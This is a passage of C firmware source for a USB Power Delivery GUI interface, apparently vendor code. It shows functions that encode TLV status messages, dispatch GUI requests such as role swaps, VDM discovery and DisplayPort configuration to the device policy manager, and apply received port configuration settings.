GUI_SaveInformation[PortNum].GetManufacturerInfo.ManufacturerInfoTarget = *temp;
temp++;
GUI_SaveInformation[PortNum].GetManufacturerInfo.ManufacturerInfoRef = *temp;
break;
}
#endif /* _MANU_INFO */
#if _BATTERY
case USBPD_CORE_BATTERY_STATUS:
GUI_SaveInformation[PortNum].BatteryStatus.d32 = *Ptr;
break;
case USBPD_CORE_GET_BATTERY_STATUS:
GUI_SaveInformation[PortNum].GetBatteryStatus.BatteryStatusRef = *(uint8_t *)Ptr;
break;
case USBPD_CORE_GET_BATTERY_CAPABILITY:
{
uint8_t *temp = (uint8_t *)Ptr;
GUI_SaveInformation[PortNum].GetBatteryCapability.BatteryCapRef = *temp;
break;
}
#endif /* _BATTERY */
#if _ALERT
case USBPD_CORE_ALERT:
{
uint8_t *alert;
alert = (uint8_t *)&GUI_SaveInformation[PortNum].RcvAlert.d32;
(void)memcpy(alert, Ptr, Size);
break;
}
#endif /* _ALERT */
#endif /* USBPD_REV30_SUPPORT */
#if defined(_VCONN_SUPPORT)
case GUI_VDM_CABLE_INFO:
{
uint8_t *disco_ident;
disco_ident = (uint8_t *)&GUI_SaveInformation[PortNum].VDM_DiscoCableIdentify;
(void)memcpy(disco_ident, Ptr, Size);
break;
}
#endif /* _VCONN_SUPPORT */
/* In case of unexpected data type (Set request could not be fulfilled) :
*/
default :
break;
}
}
/**
* @brief Register callback function to be used with Free Text feature
* @param CB_FreeText Callback function to register (port number, payload and size)
* @retval None
*/
void GUI_RegisterCallback_FreeText(USBPD_StatusTypeDef(*CB_FreeText)(uint8_t, uint8_t *, uint16_t))
{
pCB_FreeText = CB_FreeText;
}
/**
* @}
*/
/** @defgroup USBPD_GUI_API_Private_Functions GUI API Private Functions
* @{
*/
/**
* @brief Send DPM_INIT_CNF message to GUI
* @param PortNum Port number
* @param pEncodedMsg Pointer on the message to be encoded
* @retval None
*/
static void Send_DpmInitCnf(uint8_t PortNum, uint8_t *pEncodedMsg)
{
TLV_ToSend_Data_t ToSendTLV;
(void)TLV_init_encode(&ToSendTLV, __GUI_SET_TAG_ID(PortNum, DPM_INIT_CNF), TLV_SIZE_MAX, pEncodedMsg);
/* Information by board */
if (0U == PortNum)
{
/* HWBoardVersion */
const uint8_t *hwversion;
if (NULL != pCB_HWBoardVersion)
{
hwversion = pCB_HWBoardVersion();
}
else
{
hwversion = (uint8_t *) "UNKNOWN";
}
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_HWBOARDVERSION, (uint16_t)(strlen((const char *)hwversion)), hwversion);
/* HWPDType */
const uint8_t *hwpdtype;
if (NULL != pCB_HWBoardVersion)
{
hwpdtype = pCB_HWPDType();
}
else
{
hwpdtype = (uint8_t *) "UNKNOWN";
}
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_HWPDTYPE, (uint16_t)(strlen((const char *)hwpdtype)), hwpdtype);
/* NbPortMax */
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_NBPORTMAX, 1, (uint8_t[]) { USBPD_PORT_COUNT });
/* FW Version */
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_FWVERSION, 8, (uint8_t[])
{
(USBPD_FW_VERSION & 0x000000FFU),
(USBPD_FW_VERSION & 0x0000FF00U) >> 8,
(USBPD_FW_VERSION & 0x00FF0000U) >> 16,
(USBPD_FW_VERSION & 0xFF000000U) >> 24,
(_LIB_ID & 0x000000FFU),
(_LIB_ID & 0x0000FF00U) >> 8,
(_LIB_ID & 0x00FF0000U) >> 16,
(_LIB_ID & 0xFF000000U) >> 24
}
);
/* Start Port number */
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_NB_PORT_START, 1, (uint8_t[]) { USBPD_START_PORT_NUMBER });
/* Start Port number */
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_NB_PORT_START, 1, (uint8_t[]) { USBPD_START_PORT_NUMBER });
/* Original settings */
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_ORIGINAL_SETTINGS, 1, (uint8_t *)&GUI_OriginalSettings);
TLV_deinit_encode(&ToSendTLV);
}
else
{
uint16_t settings;
uint8_t port = PortNum - 1U;
#if defined(MB1303)
uint16_t fake = 0xADDE;
#endif /*MB1303*/
/* TypeCSpecVersion & PDSpecRevision */
settings = (uint16_t)DPM_Settings[port].PE_SpecRevision;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_TYPECSPECREVISION, 2, (uint8_t[]) { 0x12, settings });
#if defined(USBPD_REV30_SUPPORT)
/* Extended Messages UnCkunked */
settings = (uint16_t)DPM_Settings[port].PE_PD3_Support.d.PE_UnchunkSupport;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_EXTENDEDMESSAGESUNCKUNKED, 1, (uint8_t *)&settings);
#endif /* USBPD_REV30_SUPPORT */
/* AccessorySupp */
settings = (uint16_t)DPM_Settings[port].CAD_AccesorySupport;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_ACCESSORYSUPP, 1, (uint8_t *)&settings);
/*PowerAccessoryDetection*/
settings = (uint16_t)DPM_USER_Settings[port].PWR_AccessoryDetection;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_POWERACCESSORYDETECTION, 1, (uint8_t *)&settings);
/*PowerAccessoryTransition*/
settings = (uint16_t)DPM_USER_Settings[port].PWR_AccessoryTransition;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_POWERACCESSORYTRANSITION, 1, (uint8_t *)&settings);
/*IsCable*/
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_ISCABLE, 1, (uint8_t[]) { 0x00 });
/*TryFeature*/
settings = (uint16_t)DPM_Settings[port].CAD_TryFeature;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_TRYFEATURE, 1, (uint8_t *)&settings);
/*RpResistorValue*/
settings = (uint16_t)DPM_USER_Settings[port].PWR_RpResistorValue;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_RPRESISTORVALUE, 1, (uint8_t *)&settings);
/*USBSupport*/
settings = (uint16_t)DPM_USER_Settings[port].USB_Support;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_USBSUPPORT, 1, (uint8_t *)&settings);
/*USBDevice*/
settings = (uint16_t)DPM_USER_Settings[port].USB_Device;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_USBDEVICE, 1, (uint8_t *)&settings);
/*USBHost*/
settings = (uint16_t)DPM_USER_Settings[port].USB_Host;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_USBHOST, 1, (uint8_t *)&settings);
/*Externally_Powered*/
settings = (uint16_t)DPM_USER_Settings[port].PWR_UnconstrainedPower;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_UNCONSTRAINED_POWERED, 1, (uint8_t *)&settings);
/*USBSuspendSupport*/
settings = (uint16_t)DPM_USER_Settings[port].USB_SuspendSupport;
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_USBSUSPENDSUPPORT, 1, (uint8_t *)&settings);
#if defined(MB1303)
/*VConnDischarge*/
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_VCONNDISCHARGE, 2, (uint8_t *)&fake);
/*VConnLim*/
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_VCONNILIM, 2, (uint8_t *)&fake);
/*VConnLimValue*/
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_VCONNILIMVALUE, 2, (uint8_t *)&fake);
/*VConnMonitoring*/
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_VCONNMONITORING, 2, (uint8_t *)&fake);
/*VConnThresholdUVLO*/
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_VCONNTHRESHOLDUVLO, 2, (uint8_t *)&fake);
/*VConnSupply*/
(void)TLV_add(&ToSendTLV, (uint8_t)GUI_INIT_VCONNSUPPLY, 2, (uint8_t *)&fake);
#endif /*MB1303*/
TLV_deinit_encode(&ToSendTLV);
}
}
/**
* @brief Execution of the message received
* @note Generation of a TLV instruction to send in the context of DPM_MESSAGE
*/
static void Request_MessageReq(uint8_t PortNum, uint8_t *instruction, uint8_t *pEncodedMsg)
{
USBPD_StatusTypeDef status = USBPD_ERROR;
TLV_Received_Data_t process_tlv;
TLV_ToSend_Data_t send_tlv;
(void)TLV_init_decode(&process_tlv, instruction);
(void)TLV_init_encode(&send_tlv, __GUI_SET_TAG_ID((PortNum + 1), DPM_MESSAGE_CNF), TLV_SIZE_MAX, pEncodedMsg);
/*
In case there is an error, we use this variable to know when to send a DPM_MESSAGE_REJ
instead of a DPM_MESSAGE_CNF. This variable contains the cause if there is one.
*/
USBPD_GUI_Reject_Reason error;
uint8_t tag;
uint16_t length;
uint8_t *value;
(void)TLV_get(&process_tlv, &tag, &length, &value);
switch (tag)
/*
Each case should:
- Apply his specific request in the stack. If parameters are needed, they can be found in the value pointer
- If there is an error, set the error variable according to it (cf USBPD_GUI_Specification)
- Otherwise in case of success, do nothing else
*/
{
case GUI_MSG_GOTOMIN :
status = USBPD_DPM_RequestGotoMin(PortNum);
break;
case GUI_MSG_PING :
status = USBPD_DPM_RequestPing(PortNum);
break;
case GUI_MSG_GET_SRC_CAPA :
status = USBPD_DPM_RequestGetSourceCapability(PortNum);
break;
case GUI_MSG_GET_SNK_CAPA :
status = USBPD_DPM_RequestGetSinkCapability(PortNum);
break;
case GUI_MSG_DR_SWAP :
status = USBPD_DPM_RequestDataRoleSwap(PortNum);
break;
case GUI_MSG_PR_SWAP :
status = USBPD_DPM_RequestPowerRoleSwap(PortNum);
break;
case GUI_MSG_VCONN_SWAP :
status = USBPD_DPM_RequestVconnSwap(PortNum);
break;
case GUI_MSG_SOURCE_CAPA :
status = USBPD_DPM_RequestSourceCapability(PortNum);
break;
case GUI_MSG_REQUEST :
{
uint16_t voltage = 0;
uint8_t nb_expected_tag = 0U;
uint8_t index_pdo = 0;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 2U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_RDOPOSITION == (USBPD_GUI_Tag_ParamMsg)tag)
{
index_pdo = value[0];
}
else if (GUI_PARAM_MSG_REQUESTEDVOLTAGE == (USBPD_GUI_Tag_ParamMsg)tag)
{
voltage = USBPD_LE16(&value[0]);
}
else
{
/* Nothing to do */
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (2U == nb_expected_tag)
{
status = USBPD_DPM_RequestMessageRequest(PortNum, index_pdo, voltage);
}
break;
}
case GUI_MSG_SOFT_RESET :
(void)TLV_get(&process_tlv, &tag, &length, &value);
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
status = USBPD_DPM_RequestSoftReset(PortNum, (USBPD_SOPType_TypeDef)value[0]);
}
break;
case GUI_MSG_HARD_RESET :
status = USBPD_DPM_RequestHardReset(PortNum);
break;
case GUI_MSG_CABLE_RESET :
status = USBPD_DPM_RequestCableReset(PortNum);
break;
#if defined(_VDM) || defined(_VCONN_SUPPORT)
case GUI_MSG_VDM_DISCO_IDENT :
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
status = USBPD_DPM_RequestVDM_DiscoveryIdentify(PortNum, (USBPD_SOPType_TypeDef)value[0]);
}
break;
case GUI_MSG_VDM_DISCO_SVID :
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
status = USBPD_DPM_RequestVDM_DiscoverySVID(PortNum, (USBPD_SOPType_TypeDef)value[0]);
}
break;
case GUI_MSG_VDM_DISCO_MODE :
{
uint16_t svid = 0;
uint8_t nb_expected_tag = 0U;
uint8_t sop = USBPD_SOPTYPE_SOP;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 2U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
sop = value[0];
}
else if (GUI_PARAM_MSG_SVDM_SVID == (USBPD_GUI_Tag_ParamMsg)tag)
{
svid = USBPD_LE16(&value[0]);
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (2U == nb_expected_tag)
{
status = USBPD_DPM_RequestVDM_DiscoveryMode(PortNum, (USBPD_SOPType_TypeDef)sop, svid);
}
}
break;
case GUI_MSG_VDM_ENTER_MODE :
{
uint16_t mode = 0;
uint16_t svid = 0;
uint8_t nb_expected_tag = 0U;
uint8_t sop = USBPD_SOPTYPE_SOP;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 3U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
sop = value[0];
}
else if (GUI_PARAM_MSG_SVDM_SVID == (USBPD_GUI_Tag_ParamMsg)tag)
{
svid = USBPD_LE16(&value[0]);
}
else if (GUI_PARAM_MSG_SVDM_MODEINDEX == (USBPD_GUI_Tag_ParamMsg)tag)
{
mode = USBPD_LE16(&value[0]);
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (3U == nb_expected_tag)
{
status = USBPD_DPM_RequestVDM_EnterMode(PortNum, (USBPD_SOPType_TypeDef)sop, svid, mode);
}
}
break;
case GUI_MSG_VDM_EXIT_MODE :
{
uint16_t svid = 0;
uint16_t mode = 0;
uint8_t nb_expected_tag = 0U;
uint8_t sop = USBPD_SOPTYPE_SOP;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 3U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
sop = value[0];
}
else if (GUI_PARAM_MSG_SVDM_SVID == (USBPD_GUI_Tag_ParamMsg)tag)
{
svid = USBPD_LE16(&value[0]);
}
else if (GUI_PARAM_MSG_SVDM_MODEINDEX == (USBPD_GUI_Tag_ParamMsg)tag)
{
mode = value[0];
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (3U == nb_expected_tag)
{
status = USBPD_DPM_RequestVDM_ExitMode(PortNum, (USBPD_SOPType_TypeDef)sop, svid, mode);
}
}
break;
case GUI_MSG_VDM_UNSTRUCTURED :
break;
#endif /* _VDM || _VCONN_SUPPORT */
#if defined(_VDM)
case GUI_MSG_DISPLAY_PORT_STATUS :
{
uint32_t dp_status;
uint16_t svid = 0;
uint8_t nb_expected_tag = 0U;
uint8_t sop = USBPD_SOPTYPE_SOP;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 3U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
sop = value[0];
}
else if (GUI_PARAM_MSG_SVDM_SVID == (USBPD_GUI_Tag_ParamMsg)tag)
{
svid = USBPD_LE16(&value[0]);
}
else if (GUI_PARAM_MSG_DP_STATUS == (USBPD_GUI_Tag_ParamMsg)tag)
{
dp_status = USBPD_LE32(&value[0]);
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (3U == nb_expected_tag)
{
status = USBPD_DPM_RequestDisplayPortStatus(PortNum, (USBPD_SOPType_TypeDef)sop, svid, &dp_status);
}
}
break;
case GUI_MSG_DISPLAY_PORT_CONFIG :
{
uint32_t dp_config;
uint16_t svid = 0;
uint8_t nb_expected_tag = 0U;
uint8_t sop = USBPD_SOPTYPE_SOP;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 3U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
sop = value[0];
}
else if (GUI_PARAM_MSG_SVDM_SVID == (USBPD_GUI_Tag_ParamMsg)tag)
{
svid = USBPD_LE16(&value[0]);
}
else if (GUI_PARAM_MSG_DP_CONFIGURE == (USBPD_GUI_Tag_ParamMsg)tag)
{
dp_config = USBPD_LE32(&value[0]);
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (3U == nb_expected_tag)
{
status = USBPD_DPM_RequestDisplayPortConfig(PortNum, (USBPD_SOPType_TypeDef)sop, svid, &dp_config);
}
}
break;
case GUI_MSG_DISPLAY_PORT_ATTENTION :
break;
case GUI_MSG_VDM_ATTENTION :
{
uint16_t svid = 0;
uint8_t nb_expected_tag = 0U;
uint8_t sop = USBPD_SOPTYPE_SOP;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 2U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
sop = value[0];
}
else if (GUI_PARAM_MSG_SVDM_SVID == (USBPD_GUI_Tag_ParamMsg)tag)
{
svid = USBPD_LE16(&value[0]);
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (2U == nb_expected_tag)
{
status = USBPD_DPM_RequestAttention(PortNum, (USBPD_SOPType_TypeDef)sop, svid);
}
}
break;
#endif /* _VDM */
case GUI_MSG_FREE_TEXT :
{
uint8_t nb_expected_tag = 0U;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 1U))
{
nb_expected_tag++;
}
if (1U == nb_expected_tag)
{
status = Manage_FreeText(PortNum, value, length);
}
break;
}
#ifdef USBPD_REV30_SUPPORT
case GUI_MSG_FR_SWAP :
status = USBPD_DPM_RequestFastRoleSwap(PortNum);
break;
case GUI_MSG_GET_PPS_STATUS :
status = USBPD_DPM_RequestGetPPS_Status(PortNum);
break;
case GUI_MSG_GET_COUNTRY_CODES :
status = USBPD_DPM_RequestGetCountryCodes(PortNum);
break;
case GUI_MSG_GET_STATUS :
status = USBPD_DPM_RequestGetStatus(PortNum);
break;
case GUI_MSG_GET_SOURCE_CAPA_EXTENDED :
status = USBPD_DPM_RequestGetSourceCapabilityExt(PortNum);
break;
case GUI_MSG_GET_SINK_CAPA_EXTENDED :
status = USBPD_DPM_RequestGetSinkCapabilityExt(PortNum);
break;
case GUI_MSG_ALERT :
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
if (GUI_PARAM_MSG_ALERTMSG == (USBPD_GUI_Tag_ParamMsg)tag)
{
USBPD_ADO_TypeDef alert;
alert.d32 = USBPD_LE32(&value[0]);
status = USBPD_DPM_RequestAlert(PortNum, alert);
}
break;
case GUI_MSG_GET_COUNTRY_INFO :
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
if (GUI_PARAM_MSG_COUNTRYCODE == (USBPD_GUI_Tag_ParamMsg)tag)
{
uint16_t country_code;
country_code = USBPD_LE16(&value[0]);
status = USBPD_DPM_RequestGetCountryInfo(PortNum, country_code);
}
break;
case GUI_MSG_GET_BAT_CAPA :
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
if (GUI_PARAM_MSG_BATTERYREF == (USBPD_GUI_Tag_ParamMsg)tag)
{
status = USBPD_DPM_RequestGetBatteryCapability(PortNum, (uint8_t *)&value[0]);
}
break;
case GUI_MSG_GET_BAT_STATUS :
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
if (GUI_PARAM_MSG_BATTERYREF == (USBPD_GUI_Tag_ParamMsg)tag)
{
status = USBPD_DPM_RequestGetBatteryStatus(PortNum, (uint8_t *)&value[0]);
}
break;
case GUI_MSG_GET_MANU_INFO :
{
uint16_t manu_info;
uint8_t nb_expected_tag = 0U;
uint8_t sop = (uint8_t)USBPD_SOPTYPE_SOP;
if (length > TLV_SIZE_MAX)
{
break;
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
while ((0U != length) && (TLV_SIZE_MAX > length) && (nb_expected_tag < 2U))
{
nb_expected_tag++;
if (GUI_PARAM_MSG_SOPTYPE == (USBPD_GUI_Tag_ParamMsg)tag)
{
sop = value[0];
}
else if (GUI_PARAM_MSG_MANUINFODATA == (USBPD_GUI_Tag_ParamMsg)tag)
{
manu_info = USBPD_LE16(&value[0]);
}
else
{
/* Nothing to do */
}
(void)TLV_get(&process_tlv, &tag, &length, &value);
}
if (2U == nb_expected_tag)
{
status = USBPD_DPM_RequestGetManufacturerInfo(PortNum, (USBPD_SOPType_TypeDef)sop, (uint8_t *)&manu_info);
}
break;
}
case GUI_MSG_SECU_REQUEST :
status = USBPD_DPM_RequestSecurityRequest(PortNum);
break;
case GUI_MSG_FIRM_UPDATE_REQUEST :
break;
#endif /* USBPD_REV30_SUPPORT */
default :
break;
}
/* Only applies if an error was specified (= if the case couldn't success)*/
if (USBPD_OK != status)
{
switch (status)
{
case USBPD_BUSY:
error = GUI_REJ_DPM_NOT_READY;
break;
case USBPD_TIMEOUT:
error = GUI_REJ_DPM_TIMEOUT;
break;
case USBPD_NOTSUPPORTED:
case USBPD_ERROR:
default:
error = GUI_REJ_DPM_REJECT;
break;
}
TLV_deinit_encode(&send_tlv);
(void)TLV_init_encode(&send_tlv, __GUI_SET_TAG_ID((PortNum + 1), DPM_MESSAGE_REJ), TLV_SIZE_MAX,
pEncodedMsg); /* Turn the tag 0x0A into 0x0B to signal an error*/
(void)TLV_addValue(&send_tlv, (uint8_t *)&error, 1);
}
TLV_deinit_encode(&send_tlv);
TLV_deinit_decode(&process_tlv);
}
/**
* @brief Application of the received configuration
* @note Generation of a TLV instruction to send in the context of DPM_CONFIG_SET
*/
static void Send_DpmConfigSetCnf(uint8_t PortNum, uint8_t *instruction, uint8_t *pEncodedMsg)
{
TLV_ToSend_Data_t send_tlv;
TLV_Received_Data_t process_tlv;
/*
In case there is an error, we use this variable to know when to send a DPM_CONFIG_SET instead
of a DPM_MESSAGE_CNF. This variable contains the cause if there is one.
*/
uint8_t *value;
uint16_t size;
uint16_t dcdrp = 0;
uint8_t error = 0xFF;
uint8_t param_not_applicated[GUI_PARAM_ALL]; /* List of parameters who could not be applied. */
uint8_t counter_param_not_applicated = 0U; /* Counter of not applicated parameters */
uint8_t tag;
uint8_t flag_drp = 0;
uint8_t tdrp = 0;
(void)TLV_init_decode(&process_tlv, instruction);
/* pEncodedMsg can be sent as it is at this point, if there isn't any error during application of settings*/
(void)TLV_init_encode(&send_tlv, __GUI_SET_TAG_ID((PortNum + 1), DPM_CONFIG_SET_CNF), TLV_SIZE_MAX, pEncodedMsg);
/* Do while loop, used to parse and apply each parameter */
while ((uint8_t)(0xFF) != TLV_get(&process_tlv, &tag, &size, &value))
/*
As long as we haven't read all the parameters. If error is set, we continue to loop
to apply the other parameters if it's because of a DPM_REJECT
While loop, used to parse and apply each parameter
*/
{
switch ((USBPD_GUI_Tag_Param)tag)
/*
Each case should:
- Apply his specific parameter. If data is needed, it can be found in the value pointer
- In case of success, do nothing else
- Otherwise if there is an error, set the error variable according to it (cf USBPD_GUI_Specification)
- If the error is DPM_REJECT (0x00), add the parameter tag to param_not_applicated, using the
counter counter_param_not_applicated. It allows to list the rejected parameters in the DPM_CONFIG_REJ
*/
{
case GUI_PARAM_SOP :
#if !defined(USBPDCORE_LIB_NO_PD)
/* SOP & SOP1 & SOP2 */
/* SOP1_Debug & SOP2_Debug not implemented */
DPM_Settings[PortNum].PE_SupportedSOP = value[0];
#endif /* !USBPDCORE_LIB_NO_PD */
break;
#if defined(USBPD_REV30_SUPPORT)
case GUI_PARAM_FASTROLESWAP :
/*FastRoleSwap*/
DPM_Settings[PortNum].PE_PD3_Support.d.PE_FastRoleSwapSupport = value[0];
break;
#endif /*USBPD_REV30_SUPPORT*/
case GUI_PARAM_DATAROLESWAP_TO_UFP :
/*DataRoleSwap to UFP */
DPM_USER_Settings[PortNum].PE_DR_Swap_To_UFP = value[0];
break;
case GUI_PARAM_DATAROLESWAP_TO_DFP :
/*DataRoleSwap to DFP */
DPM_USER_Settings[PortNum].PE_DR_Swap_To_DFP = value[0];
break;
case GUI_PARAM_DEFAULTPOWERROLE :
/*DefaultPowerRole*/
DPM_Settings[PortNum].PE_DefaultRole = (USBPD_PortPowerRole_TypeDef)value[0];
break;
#if !defined(USBPDCORE_LIB_NO_PD)
case GUI_PARAM_DRP_SUPPORT :
/*DRP_Support*/
DPM_Settings[PortNum].PE_RoleSwap = value[0];
break;
case GUI_PARAM_CADROLETOGGLE :
/*CADRoleToggle*/
DPM_Settings[PortNum].CAD_RoleToggle = value[0];
break;
case GUI_PARAM_PE_SCAP_HR :
/*PE_SCAP_HR*/
DPM_Settings[PortNum].PE_CapscounterSupport = value[0];
break;
case GUI_PARAM_VCONNSWAP :
/*VConnSwap*/
DPM_USER_Settings[PortNum].PE_VconnSwap = value[0];
break;
#if defined(_VDM)
case GUI_PARAM_VDM_SUPPORT :
/* DRP Support */
DPM_Settings[PortNum].PE_VDMSupport = value[0];
break;
#endif /*_VDM*/
case GUI_PARAM_PING_SUPPORT :
/* Ping Support */
DPM_Settings[PortNum].PE_PingSupport = value[0];
break;
#if defined(USBPD_REV30_SUPPORT)
case GUI_PARAM_PPS_SUPPORT :
DPM_Settings[PortNum].PE_PD3_Support.PD3_Support = USBPD_LE16(&value[0]);
break;
#endif /*USBPD_REV30_SUPPORT*/
#endif /* !USBPDCORE_LIB_NO_PD */
#if defined(_SNK) || defined(_DRP)
case GUI_PARAM_SNK_PDO :
{
uint32_t index_pdo;
uint32_t index_gui;
uint32_t pdo;
#if USBPD_PORT_COUNT==2
if (USBPD_PORT_0 == PortNum)
#endif /* USBPD_PORT_COUNT==2 */
{
(void)memset(PORT0_PDO_ListSNK, 0, sizeof(PORT0_PDO_ListSNK));
index_pdo = 0;
for (index_gui = 0; index_gui < size; index_gui = index_gui + 4U)
{
pdo = USBPD_LE32(&value[index_gui]);
PORT0_PDO_ListSNK[index_pdo] = pdo;
index_pdo++;
}
USBPD_NbPDO[0] = (uint8_t)(size / 4U);
UpdateSNKPowerPort0();
}
#if USBPD_PORT_COUNT==2
else
{
(void)memset(PORT1_PDO_ListSNK, 0, sizeof(PORT1_PDO_ListSNK));
index_pdo = 0;
for (index_gui = 0; index_gui < size; index_gui = index_gui + 4U)
{
pdo = USBPD_LE32(&value[index_gui]);
PORT1_PDO_ListSNK[index_pdo] = pdo;
index_pdo++;
}
USBPD_NbPDO[2] = (uint8_t)(size / 4U);
UpdateSNKPowerPort1();
}
#endif /* USBPD_PORT_COUNT==2 */
break;
}
#endif /* (_SNK) || (_DRP) */
#if defined(_SRC) || defined(_DRP)
case GUI_PARAM_SRC_PDO :
{
uint32_t index_pdo;
uint32_t index_gui;
uint32_t pdo;
#if USBPD_PORT_COUNT==2
if (USBPD_PORT_0 == PortNum)
#endif /* USBPD_PORT_COUNT==2 */
{
(void)memset(PORT0_PDO_ListSRC, 0, sizeof(PORT0_PDO_ListSRC));
index_pdo = 0;
for (index_gui = 0; index_gui < size; index_gui = index_gui + 4U)
{
pdo = USBPD_LE32(&value[index_gui]);
PORT0_PDO_ListSRC[index_pdo] = pdo;
index_pdo++;
}
USBPD_NbPDO[1] = (uint8_t)(size / 4U);
}
#if USBPD_PORT_COUNT==2
else
{
(void)memset(PORT1_PDO_ListSRC, 0, sizeof(PORT1_PDO_ListSRC));
index_pdo = 0;
for (index_gui = 0; index_gui < size; index_gui = index_gui + 4U)
{
pdo = USBPD_LE32(&value[index_gui]);
PORT1_PDO_ListSRC[index_pdo] = pdo;
index_pdo++;
}
USBPD_NbPDO[3] = (uint8_t)(size / 4U);
}
#endif /* USBPD_PORT_COUNT==2 */
break;
}
#endif /* (_SRC) || (_DRP) */
case GUI_PARAM_TDRP :
tdrp = value[0];
DPM_USER_Settings[PortNum].CAD_tDRP = tdrp;
flag_drp = 1;
break;
case GUI_PARAM_DCSRC_DRP :
dcdrp = value[0];
DPM_USER_Settings[PortNum].CAD_dcSRC_DRP = dcdrp;
flag_drp = 1;
break;
case GUI_PARAM_RESPONDS_TO_DISCOV_SOP :
DPM_Settings[PortNum].PE_RespondsToDiscovSOP = value[0];
break;
case GUI_PARAM_ATTEMPTS_DISCOV_SOP :
DPM_Settings[PortNum].PE_AttemptsDiscovSOP = value[0];
break;
case GUI_PARAM_XID_SOP :
DPM_ID_Settings[PortNum].XID = USBPD_LE32(&value[0]);
break;
case GUI_PARAM_USB_VID_SOP :
DPM_ID_Settings[PortNum].VID = USBPD_LE16(&value[0]);
break;
case GUI_PARAM_PID_SOP :
DPM_ID_Settings[PortNum].PID = USBPD_LE16(&value[0]);
break;
#if defined(_VDM)
case GUI_PARAM_DATA_CAPABLE_AS_USB_HOST_SOP :
DPM_VDM_Settings[PortNum].VDM_USBHostSupport = (USBPD_USBCapa_TypeDef)value[0];
break;
